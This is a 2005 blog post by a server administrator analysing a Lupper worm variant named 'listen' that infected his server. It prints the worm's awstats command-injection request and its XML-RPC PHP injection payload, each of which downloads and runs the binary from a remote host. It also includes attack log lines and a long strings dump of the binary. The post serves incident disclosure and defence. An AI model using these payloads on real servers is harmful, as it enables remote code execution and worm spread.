Blog of Billy

At 1:45 this morning, Server Prime was compromised by a varient of the Linux.Lupper worm called 'listen.' There's not a lot of information out there on this, so I'll try to share what I've found.

I was attacked by server1.infinityclan.com, at 69.45.152.15. That IP has been banned. I have also patched XML_RPC (again).

The worm exists as '/tmp/listen', a 443300 byte file with an md5sum of:
0a32167712a63f7a6ad73d12611006f2 listen

The worm tries to spread in 2 ways: by using an old awstats exploit, and the newer forms of the XML_RPC vulnerabilities. Specifically, for the awstats vuln, it sends the string:
GET %sawstats.pl?configdir=|echo;echo%%20YYY;cd%%20%%2ftmp%%3bwget%%2024%%2e224%%2e174%%2e18%%2flisten%%3bchmod%%20%%2bx%%20listen%%3b%%2e%%2flisten%%20216%%2e102%%2e212%%2e115;echo%%20YYY;echo| HTTP/1.1
to each of the directories
/cgi-bin/awstats/
/cgi-bin/
/awstats/
in an attempt to download itself.

The second part posts the XML call:
<?xml version="1.0"?><methodCall><methodName>test.method</methodName><params><param><value><name>',''));echo '_begin_';echo `cd /tmp;wget 24.224.174.18/listen;chmod +x listen;./listen `;echo '_end_';exit;/*</name></value></param></params></methodCall>
to a series of applications (including b2evolution) to try to download itself. You can see what it's doing a little more clearly in the XML.

I have already blocked all access to and from 24.224.174.18. You probably should too.

Once the program is downloaded to /tmp and run, it creates a file called listen.log where it puts some small amount of system info, and starts making a bunch of outbound connections to a series of IP addresses, probably either randomly selected, or with a callback to get a list before it starts. I didn't notice the worm until after it had begun, and have not done a full disassemble of the code, so I can't tell you for sure. Suspiciously, the IPs 81.223.104.152 and 24.224.174.18 appear hard-coded, so those might be controlling addresses.

Strings from the binary are below, as are log entries.

Follow up:

Log entries:

69.45.152.15 - - [08/Nov/2005:01:45:36 -0600] "GET /awstats/awstats.pl?configdir=|echo;echo%20YYY;cd%20%2ftmp%3bwget%2024%2e224%2e174%2e18%2flisten%3bchmod%20%2bx%20listen%3b%2e%2flisten%20216%2e102%2e212%2e115;echo%20YYY;echo| HTTP/1.1" 404 298 "-" "Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1;)"
69.45.152.15 - - [08/Nov/2005:01:45:37 -0600] "GET /cgi-bin/awstats.pl?configdir=|echo;echo%20YYY;cd%20%2ftmp%3bwget%2024%2e224%2e174%2e18%2flisten%3bchmod%20%2bx%20listen%3b%2e%2flisten%20216%2e102%2e212%2e115;echo%20YYY;echo| HTTP/1.1" 404 298 "-" "Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1;)"
69.45.152.15 - - [08/Nov/2005:01:45:38 -0600] "GET /cgi-bin/awstats/awstats.pl?configdir=|echo;echo%20YYY;cd%20%2ftmp%3bwget%2024%2e224%2e174%2e18%2flisten%3bchmod%20%2bx%20listen%3b%2e%2flisten%20216%2e102%2e212%2e115;echo%20YYY;echo| HTTP/1.1" 404 306 "-" "Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1;)"
69.45.152.15 - - [08/Nov/2005:01:45:39 -0600] "POST /xmlrpc.php HTTP/1.1" 404 290 "-" "Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1;)"
69.45.152.15 - - [08/Nov/2005:01:45:40 -0600] "POST /blog/xmlrpc.php HTTP/1.1" 404 295 "-" "Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1;)"
69.45.152.15 - - [08/Nov/2005:01:45:41 -0600] "POST /blog/xmlsrv/xmlrpc.php HTTP/1.1" 404 302 "-" "Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1;)"
69.45.152.15 - - [08/Nov/2005:01:45:42 -0600] "POST /blogs/xmlsrv/xmlrpc.php HTTP/1.1" 404 303 "-" "Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1;)"
69.45.152.15 - - [08/Nov/2005:01:45:43 -0600] "POST /drupal/xmlrpc.php HTTP/1.1" 404 297 "-" "Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1;)"
69.45.152.15 - - [08/Nov/2005:01:45:44 -0600] "POST /phpgroupware/xmlrpc.php HTTP/1.1" 404 303 "-" "Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1;)"
69.45.152.15 - - [08/Nov/2005:01:45:45 -0600] "POST /wordpress/xmlrpc.php HTTP/1.1" 404 300 "-" "Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1;)"
69.45.152.15 - - [08/Nov/2005:01:45:46 -0600] "POST /xmlrpc.php HTTP/1.1" 404 290 "-" "Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1;)"
69.45.152.15 - - [08/Nov/2005:01:45:48 -0600] "POST /xmlrpc/xmlrpc.php HTTP/1.1" 404 297 "-" "Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1;)"
69.45.152.15 - - [08/Nov/2005:01:45:49 -0600] "POST /xmlsrv/xmlrpc.php HTTP/1.1" 200 477 "-" "Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1;)"


Strings from /tmp/listen:


PTRh@
QVh
u#
XZh:
PPQW
RRj P
RQPS
CQSj
WRh@=
[^_]
XZh M
3Vh@
ZYj P
[^_]
[^_]
RPh)
[^_]
WVSRf
^[^_]
WVSRf
Y[^_]
[^_]
QWVS
[^_]
PPQR
PPWS1
[^_]
PPQR
QZ^&
H[^_]
[^_]
[^_]
;PVh{
[^_]
j(h@Q
< t3< t/9
[^_]
j<VS
|,t8~61
RRj P
tFPj
[^_]
[^_]
8WRQP
t2F;
[^_]
[^_]
[^_]
[^_]
gfff
gfff
[^_]
[^_]
[^_]
[^_]
[^_]
<[^_]
[^_]
BX+H
[^_]
[^_]
~.;]
[^_]
P4@t
[^_]
[^_]
L[^_]
sT;C
[^_]
WLx$
[^_]
t8;]
[^_]
0[^]
0[^]
0[^]
P$;P(
[^_]
[^_]
[^_]
[^_]
[^_]
[^_]
[^]
[^_]
;S tK
[^_]
[^_]
[^_]
[^_]
t6;]
[^_]
_P)E
[^_]
[[^_]
[^]
,[^_]
P4@t
[^_]
[^_]
F\xX
[^_]
<[^_]
,[^_]
[^_]
[^_]
[^_]
[^_]
[^_]
@t<=
[^_]
[^_]
[^_]
[^_]
AELD
?AELD
[^_]
>=@@
<[^_]
[^_]
H%@@
H%@@
[^_]
[^_]
[^_]
[^_]
J(9M
[^_]
[^_]
p8v@
p[v3
pnv&
x8v=
x[v/
xnv!
;XTtf
[^_]
[^_]
<[^_]
<[^_]
[^_]
[^_]
,[^_]
,[^_]
|[^_]
[^_]
s$)u
L[^_]
[^_]
t(8(
8(t}
@+D$
[^_]
Gu~1
GuL1
[^_]
[^_]
[^_]
</t-
:t,F
:tqF
t 9P
<[^_]
gfff
[^_]
t;</
[^_]
</tu
[^_]
[^_]
[^_]
[^_]
FX9F
u-WVS
[^_=
PWVS
USVW
_^[]
_^[]
[^_]
,[^_]
[^_]
[^_]
[^_]
[^_]
[^_]
[^_]
|(;}
T$ 1
[^_]
[^_]
[^_]
[^_]
[^_]
;/t'
<:ty1
B<:tL
[^_]
[^_]
[^_]
[^_]
[^_]
L[^_]
L[^_]
L[^_]
L[^_]
L[^_]
L[^_]
L[^_]
L[^_]
L[^_]
L[^_]
L[^_]
L[^_]
[^_]
[^_]
[^_]
[^_]
[^_]
Z[^_]
[^_]
<[^_]
<[^_]
<[^_]
[^_]
L[^_]
[^_]
,[^_]
<[^_]
[^_]
[^_]
,[^_]
<[^_]
[^_]
\[^_]
,[^_]
,[^_]
[^_]
[^_]
[^_]
[^_]
tO9]
[^_]
[[^_]
B s-
$C;Z r
[^_]
[^_]
/SYS
[^_]
[^_]
[^_]
[^_]
[^_]
\$ 1
T$(@1
T$$1
L[^_]
Rt 1
x 2u
x 6u
[^_]
C;_,
9:t{
t'<:t#
,[^_]
[^_]
L[^_]
[^_]
<@t`<_
<.tg<@tP
[^_]
t=Ky
[^_]
[^_]
,0< w
,0< v
[^_]
,[^_]
[^_]
<[^_]
<[^_]
[^_]
[^_]
\[^_]
,0<
,0<
[^_]
\[^_]
,0<
,0<
[^_]
,0< wl
[^_]
<%tx
[^_]
, <Zw
, <Zw
, <Z
, <Z
tc<%t_
, <Z
, <Z
, <Z
, <Z
, <Z
@t9G;]
[^_]
u6;M
[^_]
u8;S
[^_]
[^_]
[^_]
tZ<%tV
<*tU
:$t'
F0[^]
[^_]
gfff
[^_]
[^_]
[^_]
[^_]
[^_]
,[^_]
<[^_]
[^_]
<[^_]
[^_]
[^_]
[^_]
[^_]
GuP1
0ts9
u0Ou
Gu[1
Gu#1
t0@Nt
t(@Nt
[^_]
[^_]
[^_]
[^_]
[^_]
[^_]
[^_]
[^_]
[^_]
t)Jt&@
[^_]
Z[^_]
[^_]
[^_]
FX9F
:/th1
[^_]
,[^_]
[^_]
[^_]
L[^_]
/staf
[^_]
[^_]
Z[^_]
t <:t
[^_]
<$t8
[^_]
[^_]
<:t|B
[^_]
t)<:t%
C<:t
[^_]
[^_]
@bQs
[^_]
[^_]
ELFt
[^_]
[^_]
[^_]
[^_]
\[^_]
S0;u
;=H+
9P<w
;=H+
,0<
,0< wv
,0< w%
,0< v
,0< w
[^_]
,0< v
[^_]
D$ 1
[^_]
[^_]
D$ 1
[^_]
[^_]
;}$t
,[^_]
;}$t
[^_]
[^_]
,[^_]
t6<%t2
<%tS<
[^_]
gmon
seco
[^_]
[^_]
[^_]
8/uZ
9/uZ
[^_]
<,t=1
B<,t
<[^_]
[^_]
[^_]
l[^_]
,0<
}!;u
,0<
,0<
[^_]
l[^_]
,0<
}!;u
,0<
,0<
[^_]
,0<
>(t#
[^_]
,0< v
0t71
,0< v
,0<
,0< w
VUUU)
,0< v|
,0< v
,0< w
,0<
,0< v
,0< v
,[^_]
,[^_]
,0< v
[^_]
s1It
s5It
[^_]
[^_]
,0<
[^_]
,0< v
0t71
,0< v
,0<
,0< w
VUUU)
,0< v
,0< v
,0< w
,0<
,0< v
,0< v
,[^_]
,[^_]
,0< v
[^_]
s1It
s5It
[^_]
[^_]
,0<
[^_]
,0< v
0t71
,0< v
,0<
,0< w
VUUU)
,0< v
,0< v
,0< w
,0<
,0< v
,0< v
,[^_]
,[^_]
,0< v
[^_]
s1It
s5It
[^_]
[^_]
R Iu
u Hy
r';]
<[^_]
Jt.P
X[^_
Bt(P
X[^_
[^_]
WVUS
[]^_
[^_]
[^_]
[^_]
[^_]
R Iu
WVUS
[]^_
[^_]
[^_]
[^_]
[^_]
[^_]
tEF;]
[^_]
u#;U
[^_]
[^_]
[^_]
[^_]
:$t'
[^_]
tO;E
[^_]
Z[^]
[^_]
[^_]
[^_]
[^_]
[^_]
0t/<\u
[^_]
< tT< tP<\tLC
[^_]
< t5< t <\t
< t5< t <\t
< t5< t <\t
< t8< t#<\t
[^_]
[^_]
[^_]
[^_]
[^_]
[^_]
J98u
t;B9
WVUS
[]^_
QQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQj
[^_]
w5r)
w0r$
w2r&
w9r-
@bQs
[^_]
[^_]
[^_]
[^_]
,[^_]
[^_]
[^_]
[^_]
[^_]
[^_]
^_]
u%;u
0^_]
w?t8
[^_]
starting server build %d
=========================
./update.listen
Build: %d
All seems ok ... demonizing
demonized
received %.2x
received an update command
wrong md5sum for update
update: unable to malloc()
port deja folosit()
nu pot crea socket
./listen
listen.log
81.223.104.152
24.224.174.18
%s.%d.%d
/xmlrpc/xmlrpc.php
/wordpress/xmlrpc.php
/phpgroupware/xmlrpc.php
/drupal/xmlrpc.php
/blogs/xmlsrv/xmlrpc.php
/blog/xmlsrv/xmlrpc.php
/blog/xmlrpc.php
/cgi-bin/awstats/
/cgi-bin/
child %d exited
Starting distributed computing daemon by ******************
WARNING no internet routeable ips found
all ok until now going background
bba1a886b2fcfd1666a9d8c72cda021a
update: unable to exec reason: errno=%d, %s
update: unable to chmod: errno=%d, %s
unable to close "os" errno:=%d, %s
just for info one of the ips is %s
[FATAL] unable to bind port, errno=%d, %s
i am beeing ran as ./update.listen (updating)
unable to open for write ./listen errno=%d, %s
unable to open listen.update for reading
unable to unlink ./listen errno=%d, %s
%.2d/%.2d %.2d:%.2d:%.2d [%d] [%d] %s
POST %s HTTP/1.1
Host: %s
User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1
Content-Type: text/xml
Content-Length:269
<?xml version="1.0"?><methodCall><methodName>test.method</methodName><params><pa
ram><value><name>',''));echo '_begin_';echo `cd /tmp;wget 24.224.174.18/listen;c
hmod +x listen;./listen `;echo '_end_';exit;/*</name></value></param></p
arams></methodCall>
GET %sawstats.pl?configdir=|echo;echo%%20YYY;cd%%20%%2ftmp%%3bwget%%2024%%2e224%
%2e174%%2e18%%2flisten%%3bchmod%%20%%2bx%%20listen%%3b%%2e%%2flisten%%20216%%2e1
02%%2e212%%2e115;echo%%20YYY;echo| HTTP/1.1
Host: %s
User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1
&=>?@ABCDEPQRSTU
!(Ew
~&jE
iciNWq
x`\`U
S2zw
Qjh/T
w?6r
\^c$j
yr,@
H{1S
"//w
AJsN
*!ec
pzKD)
ilRdV
)L u@
?kh
|sG2
U$qk.
fC c
27;C
qUN1
/n[(
Ze2Zh@
Wcr"
T0.S
ap?#
r3A~
;"lY7
@n2w
_g@Cg
%xP(
B*k@5
mK1f
n:2C[
V@E'
::SU
^|1)
A4x{%`
no:7
7,gm;
.97yY
Bh;+j
.x7B
{x`M`
BFUa.X
YnFpW
-f3F2
r9$|
n6j/
HWyn
9)PF
(-}|
W;()f
_xU`u
08bX
w``u N
-% ?
:TESTKEY
damn fork() failed
GET %s HTTP/1.0
Conection: Close
Host: %s
[+] done
192.168.255.255
192.168.0.0
/dev/null
status == __codecvt_partial
_IO_wfile_underflow
wfileops.c
fcts.tomb_nsteps == 1
_IO_fwide
iofwide.c
fcts.towc_nsteps == 1
,ccs=
_IO_new_file_fopen
TRIM_THRESHOLD_
MMAP_THRESHOLD_
MMAP_MAX_
TOP_PAD_
malloc: top chunk is corrupt
free(): invalid pointer %p!
Arena %d:
system bytes = %10u
in use bytes = %10u
Total (incl. mmap):
max mmap regions = %10u
max mmap bytes = %10lu
malloc: using debugging hooks
realloc(): invalid pointer %p!
Unknown error
Unknown error
ANSI_X3.4-1968//TRANSLIT
Universal
/etc/localtime
%[^0-9,+-]
%hu:%hu:%hu
M%hu.%hu.%hu%n
/usr/share/zoneinfo
TZDIR
num_types == 1
__tzfile_read
tzfile.c
posixrules
__tzfile_compute
%d.%d.%d.%d
apic
mtrr
cmov
pse36
clflush
acpi
fxsr
sse2
ia64
i386
i486
i586
i686
LD_PRELOAD
LD_LIBRARY_PATH
LD_ORIGIN_PATH
LD_DEBUG_OUTPUT
LD_PROFILE
GCONV_PATH
HOSTALIASES
LOCALDOMAIN
LOCPATH
MALLOC_TRACE
NLSPATH
RESOLV_HOST_CONF
RES_OPTIONS
TMPDIR
TZDIR
LD_AOUT_LIBRARY_PATH
LD_AOUT_PRELOAD
LD_WARN
LD_LIBRARY_PATH
LD_BIND_NOW
LD_BIND_NOT
LD_DYNAMIC_WEAK
/etc/suid-debug
LD_ASSUME_KERNEL
MALLOC_CHECK_
/usr/lib/gconv
gconv-modules
=INTERNAL->ucs4
=ucs4->INTERNAL
UCS-4LE//
=INTERNAL->ucs4le
=ucs4le->INTERNAL
=INTERNAL->utf8
=utf8->INTERNAL
=ucs2->INTERNAL
=INTERNAL->ucs2
=ascii->INTERNAL
=INTERNAL->ascii
=ucs2reverse->INTERNAL
=INTERNAL->ucs2reverse
UCS-4// ISO-10646/UCS4/
UCS-4BE// ISO-10646/UCS4/
CSUCS4// ISO-10646/UCS4/
ISO-10646// ISO-10646/UCS4/
OSF00010104// ISO-10646/UCS4/
OSF00010105// ISO-10646/UCS4/
OSF00010106// ISO-10646/UCS4/
WCHAR_T// INTERNAL
UTF8// ISO-10646/UTF8/
UTF-8// ISO-10646/UTF8/
ISO-IR-193// ISO-10646/UTF8/
OSF05010001// ISO-10646/UTF8/
UCS2// ISO-10646/UCS2/
UCS-2// ISO-10646/UCS2/
OSF00010100// ISO-10646/UCS2/
OSF00010101// ISO-10646/UCS2/
OSF00010102// ISO-10646/UCS2/
ANSI_X3.4// ANSI_X3.4-1968//
ISO-IR-6// ANSI_X3.4-1968//
ISO646-US// ANSI_X3.4-1968//
US-ASCII// ANSI_X3.4-1968//
IBM367// ANSI_X3.4-1968//
CP367// ANSI_X3.4-1968//
CSASCII// ANSI_X3.4-1968//
UCS-2LE// ISO-10646/UCS2/
UCS-2BE// UNICODEBIG//
module
alias
cwd != ((void *)0)
__gconv_get_path
gconv_conf.c
elem != ((void *)0)
10646-1:1993// ISO-10646/UCS4/
10646-1:1993/UCS4/ ISO-10646/UCS4/
ISO-10646/UTF-8/ ISO-10646/UTF8/
ANSI_X3.4-1986// ANSI_X3.4-1968//
ISO_646.IRV:1991// ANSI_X3.4-1968//
OSF00010020// ANSI_X3.4-1968//
UNICODELITTLE// ISO-10646/UCS2/
__gconv_get_builtin_trans
gconv_builtin.c
cnt < sizeof (map) / sizeof (map[0])
inend - *inptrp < 4
../iconv/skeleton.c
outbufstart == ((void *)0)
outbuf == outerr
*outptrp + 4 > outend
ucs4le_internal_loop
gconv_simple.c
internal_ascii_loop_single
../iconv/loop.c
inend != &bytebuf[4]
internal_utf8_loop_single
utf8_internal_loop_single
inend != &bytebuf[6]
ucs2_internal_loop_single
inend != &bytebuf[2]
internal_ucs2_loop_single
__gconv_transform_internal_ucs4
__gconv_transform_ucs4_internal
__gconv_transform_internal_ucs4le
__gconv_transform_ucs4le_internal
__gconv_transform_ascii_internal
__gconv_transform_internal_ascii
__gconv_transform_internal_utf8
nstatus == __GCONV_FULL_OUTPUT
__gconv_transform_utf8_internal
__gconv_transform_ucs2_internal
__gconv_transform_internal_ucs2
__gconv_transform_ucs2reverse_internal
__gconv_transform_internal_ucs2reverse
inptr - bytebuf > (state->__count & 7)
ucs2reverse_internal_loop_single
internal_ucs2reverse_loop_single
gconv_trans_context
gconv_trans
gconv_trans_init
gconv_trans_end
trans->name != ((void *)0)
__gconv_translit_find
gconv_trans.c
GCONV_PATH
/usr/lib/gconv/gconv-modules.cache
gconv_init
gconv_end
found->handle == ((void *)0)
__gconv_find_shlib
gconv_dl.c
obj->counter > 0
do_release_shlib
LC_CTYPE
LC_NUMERIC
LC_TIME
LC_COLLATE
LC_MONETARY
LC_MESSAGES
LC_ALL
LC_PAPER
LC_NAME
LC_ADDRESS
LC_TELEPHONE
LC_MEASUREMENT
LC_IDENTIFICATION
LOCPATH
/usr/lib/locale
LANG
locale_codeset != ((void *)0)
_nl_find_locale
findlocale.c
/usr/lib/locale/locale-archive
ranges[cnt].from >= from
_nl_load_locale_from_archive
loadarchive.c
last->next == mapped
((((ps)-1)&(ps))==0)
archmapped == &headmap
_nl_archive_subfreeres
upper
lower
alpha
digit
xdigit
space
print
graph
blank
cntrl
punct
alnum
toupper
tolower
libc
POSIX
ANSI_X3.4-1968
Unexpected error.
%s%s%s:%u: %s%sAssertion `%s' failed.
messages
/usr/share/locale
POSIX
LANGUAGE
charset=
OUTPUT_CHARSET
/usr/share/locale
/locale.alias
parse error
parser stack overflow
plural=
nplurals=
0123456789abcdefghijklmnopqrstuvwxyz
0123456789ABCDEFGHIJKLMNOPQRSTUVWXYZ0 <= n && n <= 9
outdigit_value
../locale/outdigits.h
(nil)
(null)
*decimal != '\0' && decimalwc != L'\0'
../sysdeps/generic/printf_fphex.c
__printf_fphex
cnt < (((uint32_t) (((__locale_t) (__pthread_internal_tsd_get != ((void *)0) ? _
_pthread_internal_tsd_get (_LIBC_TSD_KEY_LOCALE) : __libc_tsd_LOCALE_data))->__l
ocales[__LC_CTYPE])->values[((int) (_NL_CTYPE_MB_CUR_MAX) & 0xffff)].word))
_IO_vfscanf
vfscanf.c
Success
Operation not permitted
No such file or directory
No such process
Interrupted system call
Input/output error
No such device or address
Argument list too long
Exec format error
Bad file descriptor
No child processes
Cannot allocate memory
Permission denied
Bad address
Block device required
Device or resource busy
File exists
Invalid cross-device link
No such device
Not a directory
Is a directory
Invalid argument
Too many open files in system
Too many open files
Text file busy
File too large
No space left on device
Illegal seek
Read-only file system
Too many links
Broken pipe
Numerical result out of range
Resource deadlock avoided
File name too long
No locks available
Function not implemented
Directory not empty
No message of desired type
Identifier removed
Channel number out of range
Level 2 not synchronized
Level 3 halted
Level 3 reset
Link number out of range
Protocol driver not attached
No CSI structure available
Level 2 halted
Invalid exchange
Invalid request descriptor
Exchange full
No anode
Invalid request code
Invalid slot
Bad font file format
Device not a stream
No data available
Timer expired
Out of streams resources
Machine is not on the network
Package not installed
Object is remote
Link has been severed
Advertise error
Srmount error
Communication error on send
Protocol error
Multihop attempted
RFS specific error
Bad message
Name not unique on network
File descriptor in bad state
Remote address changed
Streams pipe error
Too many users
Destination address required
Message too long
Protocol not available
Protocol not supported
Socket type not supported
Operation not supported
Protocol family not supported
Address already in use
Network is down
Network is unreachable
Connection reset by peer
No buffer space available
Connection timed out
Connection refused
Host is down
No route to host
Operation already in progress
Operation now in progress
Stale NFS file handle
Structure needs cleaning
Not a XENIX named type file
No XENIX semaphores available
Is a named type file
Remote I/O error
Disk quota exceeded
No medium found
Wrong medium type
Operation canceled
Resource temporarily unavailable
Inappropriate ioctl for device
Numerical argument out of domain
Too many levels of symbolic links
Value too large for defined data type
Can not access a needed shared library
Accessing a corrupted shared library
.lib section in a.out corrupted
Attempting to link in too many shared libraries
Cannot exec a shared library directly
Invalid or incomplete multibyte or wide character
Interrupted system call should be restarted
Socket operation on non-socket
Protocol wrong type for socket
Address family not supported by protocol
Cannot assign requested address
Network dropped connection on reset
Software caused connection abort
Transport endpoint is already connected
Transport endpoint is not connected
Cannot send after transport endpoint shutdown
Too many references: cannot splice
0000000000000000
__mbsinit (data.__statep)
__mbrtowc
mbrtowc.c
status == __GCONV_OK || status == __GCONV_EMPTY_INPUT || status == __GCONV_ILLEG
AL_INPUT || status == __GCONV_INCOMPLETE_INPUT || status == __GCONV_FULL_OUTPUT
__wcrtomb
wcrtomb.c
data.__outbuf != (unsigned char *) dst
__wcsrtombs
wcsrtombs.c
data.__outbuf[-1] == '\0'
__mbsnrtowcs
mbsnrtowcs.c
result > 0
/proc/self/cwd
../../../../../../../../../../../../../../../../../../../../../../../../../../..
/../../../../../../../../../../../../../../../../../../../../../../../../../../.
./../../../../../../../../../../../../../../../../../../../../..
/proc
/etc/mtab
proc
/etc/fstab
/cpuinfo
processor
/meminfo
MemTotal: %ld kB
MemFree: %ld kB
/lib/
/usr/lib/
ORIGIN
PLATFORM
(l)->l_name[0] == '\0'
expand_dynamic_string_token
dl-load.c
cannot allocate name record
lastp != ((void *)0)
add_name_to_object
system search path
pelem->dirname[0] == '/'
_dl_init_paths
l->l_next == ((void *)0)
cannot create searchlist
elf_get_dynamic_info
dynamic-link.h
cannot map zero-fill pages
cannot handle TLS data
cannot read file data
cannot stat shared object
search path=
(%s from file %s)
(%s)
invalid ELF header
ELF file OS ABI invalid
ELF file ABI version invalid
internal error
file too short
trying file=%s
RUNPATH
RPATH
find library=%s; searching
file=%s; needed by %s
cannot create RUNPATH/RPATH copy
cannot create cache for search path
cannot create search path array
cannot create shared object descriptor
failed to map segment from shared object
object file has no dynamic section
shared object cannot be dlopen()ed
info[19]->d_un.d_val == sizeof (Elf32_Rel)
info[9]->d_un.d_val == sizeof (Elf32_Rela)
info[20]->d_un.d_val == 17 || info[20]->d_un.d_val == 7
dynamic: 0x%0*lx base: 0x%0*lx size: 0x%0*Zx
entry: 0x%0*lx phdr: 0x%0*lx phnum: %*u
cannot allocate memory for program header
cannot change memory protections
cannot dynamically load executable
ELF load command address/offset not properly aligned
ELF load command alignment not page-aligned
file=%s; generating link map
only ET_DYN and ET_EXEC can be loaded
ELF file's phentsize not the expected size
ELF file version does not match current one
ELF file data encoding not little-endian
ELF file version ident does not match current one
cannot open shared object file
/etc/ld.so.cache
ld.so-1.7.0
glibc-ld.so.cache1.1
search cache=%s
cache != ((void *)0)
_dl_load_cache_lookup
../sysdeps/generic/dl-cache.c
undefined symbol:
file=%s; needed by %s (relocation dependency)
flags == 0 || flags == DL_LOOKUP_ADD_DEPENDENCY
_dl_lookup_versioned_symbol_skip
binding file %s to %s: %s symbol `%s'
symbol=%s; lookup in file=%s
version->filename == ((void *)0) || ! _dl_name_match_p (version->filename, map)
<main program>
relocation error
i < (*scope)->r_nlist
_dl_lookup_symbol_skip
dl-lookup.c
, version
symbol
not defined in file
with link time reference
(no version symbols)
_dl_lookup_versioned_symbol
protected
normal
[%s]
do_lookup_versioned
do-lookup.h
out of memory
<program name unknown>
%s: %s: %s%s%s%s%s
DYNAMIC LINKER BUG!!!
continued
%s: error: %s: %s (%s)
fatal
error while loading shared libraries
invalid format specifier
! "invalid format specifier"
_dl_debug_vdprintf
dl-misc.c
niov < niovmax
pid >= 0 && sizeof (pid_t) <= 4
.profile
%s: cannot stat file: %s
%s: cannot map file: %s
%s: cannot create file: %s
%s: cannot open file: %s
%s: file is no correct profile data file for `%s'
Out of memory while initializing profiler
/proc/self/exe
linkval[0] == '/'
_dl_get_origin
../sysdeps/unix/sysv/linux/dl-origin.c
IGNORE
outbuf != ((void *)0) && *outbuf != ((void *)0)
__gconv
gconv.c
irreversible != ((void *)0)
^[yY]
^[nN]
Sunday
Monday
Tuesday
Wednesday
Thursday
Friday
Saturday
January
February
March
April
June
July
August
September
October
November
December
%a %b %e %H:%M:%S %Y
%m/%d/%y
%H:%M:%S
%I:%M:%S %p
%a %b %e %H:%M:%S %Z %Y
%p%t%g%t%m%t%f
%a%N%f%N%d%N%b%N%s %h %e %r%N%C-%z %T%N%c%N
+%c %a %l
ISO/IEC 14652 i18n FDCC-set
Keld Simonsen
keld@dkuug.dk
+45 3122-6543
+45 3325-6543
1997-12-20
ISO/IEC JTC1/SC22/WG20 - internationalization
C/o Keld Simonsen, Skt. Jorgens Alle 8, DK-1615 Kobenhavn V
i18n:1999
i18n:1999
i18n:1999
i18n:1999
i18n:1999
i18n:1999
i18n:1999
i18n:1999
i18n:1999
i18n:1999
i18n:1999
i18n:1999
i18n:1999
i18n:1999
i18n:1999
i18n:1999
!"#$%&'()*+,-./0123456789:;<=>?@ABCDEFGHIJKLMNOPQRSTUVWXYZ[\]^_`abcdefghijklmno
pqrstuvwxyz{|}~
inity
[Am-
kpnJ
uD;s
)r+[
[!|n
uYD?e
I9C-
I!G.
U^h6LU3
U.y`
3?Cy
'_Djz
$po?b
w};u
=t%j
MP0!
t0tv
=u8Q)+
*~xx
~j2=
|;#o
Ac+;
^2XX%
!{>;b
dI@B
2I%%
{fG5
((wchar_t *) data.__outbuf)[-1] == L'\0'
__mbsrtowcs
mbsrtowcs.c
last_offset != -1
__getdents
../sysdeps/unix/sysv/linux/getdents.c
%d %d
%s %s %s %s %d %d
cannot extend global scope
cannot create scope list
dlopen
mode & 0x00004
dl_open_worker
dl-open.c
(call_map)->l_name[0] == '\0'
invalid mode for dlopen()
opening file=%s; opencount == %u
empty dynamic string token substitution
DST not allowed in SUID/SGID programs
remmap->l_reldeps[j]->l_type == lt_loaded
dep_list[j]->l_type == lt_loaded
dep_list[j]->l_idx < map->l_searchlist.r_nlist
closing file=%s; opencount == %u
imap->l_type == lt_loaded || imap->l_opencount > 0
mark_removed
dl-close.c
_dl_close
calling fini: %s
new_opencount[0] == 0
shared object not open
cannot restore segment prot after reloc
%s: profiler out of memory shadowing PLTREL of %s
%s: profiler found no PLTREL in object %s
%s: Symbol `%s' has different size in shared object, consider re-linking
cannot make segment writable for relocation
(lazy)
relocation processing: %s%s
((reloc->r_info) & 0xff) == 8
elf_machine_rel_relative
../sysdeps/i386/dl-machine.h
unexpected reloc type 0x
unexpected PLT reloc type 0x
map->l_searchlist.r_list[0] == map
cannot allocate symbol search list
Filters not supported with LD_TRACE_PRELINKING
map->l_searchlist.r_list == ((void *)0)
cannot allocate dependency list
cannot load auxiliary `%s' because of empty dynamic string token substitution
empty dynamics string token substitution
load filtered object=%s requested by file=%s
load auxiliary object=%s requested by file=%s
_dl_map_object_deps
dl-deps.c
cnt <= nlist
((reloc->r_info) & 0xff) == 7
dl-runtime.c
profile_fixup
calling init: %s
calling preinit: %s
weak version `
' not found (required by
unsupported version
of Verdef record
def_offset != 0
match_symbol
dl-version.c
of Verneed record
needed != ((void *)0)
_dl_check_map_versions
no version information available (required by
checking for version `%s' in file %s required by file %s
cannot allocate version reference table
CAk[S